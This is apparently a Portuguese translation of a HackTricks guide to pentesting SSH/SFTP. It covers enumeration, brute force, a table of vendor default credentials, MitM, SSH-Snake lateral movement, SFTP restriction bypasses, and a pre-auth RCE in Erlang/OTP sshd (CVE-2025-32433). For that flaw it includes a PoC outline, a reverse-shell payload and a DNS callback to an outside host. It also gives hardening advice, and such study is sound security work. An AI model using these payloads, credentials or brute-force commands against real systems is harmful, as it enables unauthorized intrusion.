24 KiB
Raw Blame History

22 - Pentesting SSH/SFTP

{{#include ../banners/hacktricks-training.md}}

Informações Básicas

SSH (Secure Shell or Secure Socket Shell) é um protocolo de rede que permite uma conexão segura a um computador através de uma rede não segura. É essencial para manter a confidencialidade e integridade dos dados ao acessar sistemas remotos.

Porta padrão: 22

22/tcp open  ssh     syn-ack

Servidores SSH:

  • openSSH OpenBSD SSH, distribuído em BSD, distribuições Linux e Windows desde o Windows 10
  • Dropbear implementação SSH para ambientes com pouca memória e recursos de CPU, distribuído no OpenWrt
  • PuTTY implementação SSH para Windows; o cliente é comumente usado, mas o uso do servidor é mais raro
  • CopSSH implementação do OpenSSH para Windows

Bibliotecas SSH (implementando o lado servidor):

  • libssh biblioteca C multiplataforma que implementa o protocolo SSHv2 com bindings em Python, Perl e R; é usada pelo KDE para sftp e pelo GitHub para a infraestrutura git SSH
  • wolfSSH biblioteca de servidor SSHv2 escrita em ANSI C e direcionada a ambientes embarcados, RTOS e com recursos limitados
  • Apache MINA SSHD a biblioteca Java Apache SSHD é baseada no Apache MINA
  • paramiko biblioteca Python do protocolo SSHv2

Enumeração

Banner Grabbing

nc -vn <IP> 22

ssh-audit automatizado

ssh-audit é uma ferramenta para auditoria da configuração de servidores e clientes SSH.

https://github.com/jtesta/ssh-audit is an updated fork from https://github.com/arthepsy/ssh-audit/

Recursos:

  • Suporte a servidores dos protocolos SSH1 e SSH2;
  • analisar a configuração de clientes SSH;
  • capturar banner, reconhecer dispositivo ou software e sistema operacional, detectar compressão;
  • coletar algoritmos de key-exchange, host-key, encryption e message authentication code;
  • exibir informações dos algoritmos (available since, removed/disabled, unsafe/weak/legacy, etc);
  • exibir recomendações de algoritmos (append or remove based on recognized software version);
  • exibir informações de segurança (related issues, assigned CVE list, etc);
  • analisar compatibilidade de versão do SSH com base nas informações de algoritmos;
  • informações históricas do OpenSSH, Dropbear SSH e libssh;
  • funciona em Linux e Windows;
  • sem dependências
usage: ssh-audit.py [-1246pbcnjvlt] <host>

-1,  --ssh1             force ssh version 1 only
-2,  --ssh2             force ssh version 2 only
-4,  --ipv4             enable IPv4 (order of precedence)
-6,  --ipv6             enable IPv6 (order of precedence)
-p,  --port=<port>      port to connect
-b,  --batch            batch output
-c,  --client-audit     starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n,  --no-colors        disable colors
-j,  --json             JSON output
-v,  --verbose          verbose output
-l,  --level=<level>    minimum output level (info|warn|fail)
-t,  --timeout=<secs>   timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>

See it in action (Asciinema)

Chave SSH pública do servidor

ssh-keyscan -t rsa <IP> -p <PORT>

Algoritmos de Cifra Fracos

Isto é detectado por padrão pelo nmap. Mas você também pode usar sslcan ou sslyze.

Scripts do Nmap

nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

Shodan

  • ssh

Brute force usernames, passwords and private keys

Username Enumeration

Em algumas versões do OpenSSH você pode realizar um timing attack para enumerar users. Você pode usar um metasploit module para explorar isso:

msf> use scanner/ssh/ssh_enumusers

Brute force

Algumas credenciais ssh comuns here e here e abaixo.

Private Key Brute Force

Se você conhece algumas ssh private keys que poderiam ser usadas... vamos tentar. Você pode usar o nmap script:

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html

Ou o MSF auxiliary module:

msf> use scanner/ssh/ssh_identify_pubkeys

Ou use ssh-keybrute.py (nativo python3, leve e com algoritmos legados habilitados): snowdroppe/ssh-keybrute.

Badkeys conhecidos podem ser encontrados aqui:

{{#ref}} https://github.com/rapid7/ssh-badkeys/tree/master/authorized {{#endref}}

Chaves SSH fracas / PRNG previsível no Debian

Alguns sistemas têm falhas conhecidas na semente aleatória usada para gerar material criptográfico. Isso pode resultar em um espaço de chaves drasticamente reduzido que pode ser bruteforced. Conjuntos pré-gerados de chaves geradas em sistemas Debian afetados pelo PRNG fraco estão disponíveis aqui: g0tmi1k/debian-ssh.

Você deve procurar aqui para buscar chaves válidas para a máquina vítima.

Kerberos / GSSAPI SSO

Se o servidor SSH alvo suportar GSSAPI (por exemplo Windows OpenSSH em um controlador de domínio), você pode autenticar usando seu Kerberos TGT em vez de uma senha.

Fluxo de trabalho a partir de um host atacante Linux:

# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>

# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf

# 3) Obtain a TGT for the user
kinit <user>
klist

# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>

Notas:

  • If you connect to the wrong name (e.g., short host, alias, or wrong order in /etc/hosts), you may get: "Server not found in Kerberos database" because the SPN does not match.
  • crackmapexec ssh --kerberos can also use your ccache for Kerberos auth.

Credenciais Padrão

Fornecedor Usuários Senhas
APC apc, device apc
Brocade admin admin123, password, brocade, fibranne
Cisco admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme
Citrix root, nsroot, nsmaint, vdiadmin, kvm, cli, admin C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler
D-Link admin, user private, admin, user
Dell root, user1, admin, vkernel, cli calvin, 123456, password, vkernel, Stor@ge!, admin
EMC admin, root, sysadmin EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc
HP/3Com admin, root, vcx, app, spvar, manage, hpsupport, opc_op admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin
Huawei admin, root 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123
IBM USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer
Juniper netscreen netscreen
NetApp admin netapp123
Oracle root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user changeme, ilom-admin, ilom-operator, welcome1, oracle
VMware vi-admin, root, hqadmin, vmware, admin vmware, vmw@re, hqadmin, default

SSH-MitM

Se você estiver na rede local como a vítima que vai se conectar ao servidor SSH usando username e password, você pode tentar realizar um ataque MitM para capturar essas credenciais:

Attack path:

  • Redirecionamento de Tráfego: O atacante desvia o tráfego da vítima para sua máquina, efetivamente interceptando a tentativa de conexão ao servidor SSH.
  • Interceptação e Registro: A máquina do atacante atua como um proxy, capturando os dados de login do usuário ao se passar pelo servidor SSH legítimo.
  • Execução de Comandos e Reencaminhamento: Finalmente, o servidor do atacante registra as credenciais do usuário, encaminha os comandos para o servidor SSH real, executa eles e envia os resultados de volta ao usuário, fazendo o processo parecer contínuo e legítimo.

SSH MITM faz exatamente o que foi descrito acima.

Para efetuar o MitM real você pode usar técnicas como ARP spoofing, DNS spoofin ou outras descritas em Network Spoofing attacks.

SSH-Snake

Se você quiser percorrer uma rede usando chaves privadas SSH descobertas em sistemas, utilizando cada chave privada em cada sistema para novos hosts, então SSH-Snake é o que você precisa.

SSH-Snake executa as seguintes tarefas automaticamente e recursivamente:

  1. No sistema atual, encontre quaisquer chaves privadas SSH,
  2. No sistema atual, encontre quaisquer hosts ou destinos (user@host) para os quais as chaves privadas possam ser aceitas,
  3. Tentar realizar SSH em todos os destinos usando todas as chaves privadas descobertas,
  4. Se um destino for conectado com sucesso, repete os passos #1 - #4 no sistema conectado.

É completamente autorreplicante e autorpropagante -- e completamente fileless.

Misconfigurações

Login de root

É comum que servidores SSH permitam login do usuário root por padrão, o que representa um risco significativo de segurança. Desabilitar o login root é um passo crítico para proteger o servidor. Acesso não autorizado com privilégios administrativos e ataques de brute force podem ser mitigados ao fazer essa alteração.

Para desabilitar o login root no OpenSSH:

  1. Edite o arquivo de configuração do SSH com: sudoedit /etc/ssh/sshd_config
  2. Altere a configuração de #PermitRootLogin yes para PermitRootLogin no.
  3. Recarregue a configuração usando: sudo systemctl daemon-reload
  4. Reinicie o servidor SSH para aplicar as mudanças: sudo systemctl restart sshd

SFTP Brute Force

Execução de comandos via SFTP

Há uma falha comum em setups SFTP, onde administradores pretendem que os usuários troquem arquivos sem habilitar acesso shell remoto. Apesar de configurar usuários com shells não interativos (por exemplo, /usr/bin/nologin) e confiná-los a um diretório específico, permanece uma brecha de segurança. Os usuários podem contornar essas restrições solicitando a execução de um comando (como /bin/bash) imediatamente após o login, antes que o shell não interativo designado entre em efeito. Isso permite execução não autorizada de comandos, minando as medidas de segurança pretendidas.

Example from here:

ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash

Aqui está um exemplo de configuração segura de SFTP (/etc/ssh/sshd_config openSSH) para o usuário noraj:

Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no

Esta configuração permitirá apenas SFTP: desabilitando o acesso ao shell forçando o start command e desativando o acesso TTY, além de desabilitar qualquer tipo de port forwarding ou tunneling.

SFTP Tunneling

Se você tiver acesso a um servidor SFTP, também pode tunnel seu tráfego por meio dele, por exemplo usando o comum port forwarding:

sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

O sftp tem o comando "symlink". Portanto, se você tiver permissões de escrita em alguma pasta, você pode criar symlinks de outras pastas/arquivos. Como você provavelmente está preso dentro de um chroot isso não será especialmente útil para você, mas, se você puder acessar o symlink criado a partir de um no-chroot service (por exemplo, se você puder acessar o symlink pela web), você poderia abrir os arquivos apontados pelo symlink através da web.

Por exemplo, para criar um symlink a partir de um novo arquivo "froot" para "/":

sftp> symlink / froot

Se você conseguir acessar o arquivo "froot" via web, poderá listar o diretório root ("/") do sistema.

Métodos de autenticação

Em ambientes de alta segurança, é prática comum habilitar apenas autenticação baseada em chaves ou autenticação de dois fatores em vez da simples autenticação por senha. Mas frequentemente os métodos de autenticação mais fortes são habilitados sem desabilitar os mais fracos. Um caso frequente é habilitar publickey na configuração do openSSH e defini-lo como método padrão, mas sem desabilitar password. Assim, usando o modo verbose do cliente SSH, um atacante pode ver que um método mais fraco está habilitado:

ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

Por exemplo, se um limite de falhas de autenticação estiver definido e você nunca tiver a chance de alcançar o método password, pode usar a opção PreferredAuthentications para forçar o uso desse método.

ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

Revisar a configuração do servidor SSH é necessário para verificar que apenas os métodos esperados estejam autorizados. Usar o verbose mode no cliente pode ajudar a ver a eficácia da configuração.

Arquivos de configuração

ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa

Fuzzing

Authentication State-Machine Bypass (Pre-Auth RCE)

Várias implementações de servidores SSH contêm falhas lógicas na authentication finite-state machine que permitem que um cliente envie mensagens connection-protocol antes de a autenticação terminar. Como o servidor não verifica se está no estado correto, essas mensagens são tratadas como se o usuário já estivesse totalmente autenticado, levando a unauthenticated code execution ou criação de sessão.

Em nível de protocolo, qualquer mensagem SSH com um message code ≥ 80 (0x50) pertence à camada connection (RFC 4254) e deve somente ser aceita após autenticação bem-sucedida (RFC 4252). Se o servidor processar uma dessas mensagens enquanto ainda estiver no estado SSH_AUTHENTICATION, o atacante pode imediatamente criar um channel e solicitar ações como execução de comandos, port-forwarding, etc.

Generic Exploitation Steps

  1. Estabeleça uma conexão TCP com a porta SSH do alvo (comummente 22, mas outros serviços podem expor Erlang/OTP em 2022, 830, 2222…).
  2. Crie um pacote SSH bruto:
  • 4-byte packet_length (big-endian)
  • 1-byte message_code ≥ 80 (e.g. SSH_MSG_CHANNEL_OPEN = 90, SSH_MSG_CHANNEL_REQUEST = 98)
  • Payload que será entendido pelo tipo de mensagem escolhido
  1. Envie o(s) pacote(s) antes de completar qualquer etapa de autenticação.
  2. Interaja com as APIs do servidor que agora estão expostas pre-auth (command execution, port forwarding, file-system access, …).

Python proof-of-concept outline:

import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity  send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt  = struct.pack('>I', 1) + b'\x5a'  # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands

Na prática você precisará executar (ou pular) a troca de chaves conforme a implementação alvo, mas nenhuma autenticação é jamais realizada.


Erlang/OTP sshd (CVE-2025-32433)

  • Versões afetadas: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
  • Causa raiz: o daemon SSH nativo do Erlang não valida o estado atual antes de invocar ssh_connection:handle_msg/2. Portanto qualquer pacote com um código de mensagem 80-255 atinge o manipulador de conexão enquanto a sessão ainda está no estado userauth.
  • Impacto: não autenticada remote code execution (o daemon geralmente roda como root em dispositivos embedded/OT).

Exemplo de payload que cria uma reverse shell vinculada ao canal controlado pelo atacante:

% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").

Blind RCE / out-of-band detection pode ser realizada via DNS:

execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession

Detecção & Mitigação:

  • Inspecionar tráfego SSH: descartar qualquer pacote com código de mensagem ≥ 80 observado antes da autenticação.
  • Atualize Erlang/OTP para 27.3.3 / 26.2.5.11 / 25.3.2.20 ou superior.
  • Restrinja a exposição das portas de gerenciamento (22/2022/830/2222) especialmente em equipamentos OT.

Outras Implementações Afetadas

  • libssh 0.6 0.8 (server side) CVE-2018-10933 aceita um SSH_MSG_USERAUTH_SUCCESS não autenticado enviado pelo cliente, sendo efetivamente o inverso de uma falha lógica.

A lição comum é que qualquer desvio das transições de estado exigidas pela RFC pode ser fatal; ao revisar ou fuzzing de daemons SSH preste atenção especial à imposição da máquina de estados.

Referências

Comandos Automáticos do HackTricks

Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening

Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh

Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'

{{#include ../banners/hacktricks-training.md}}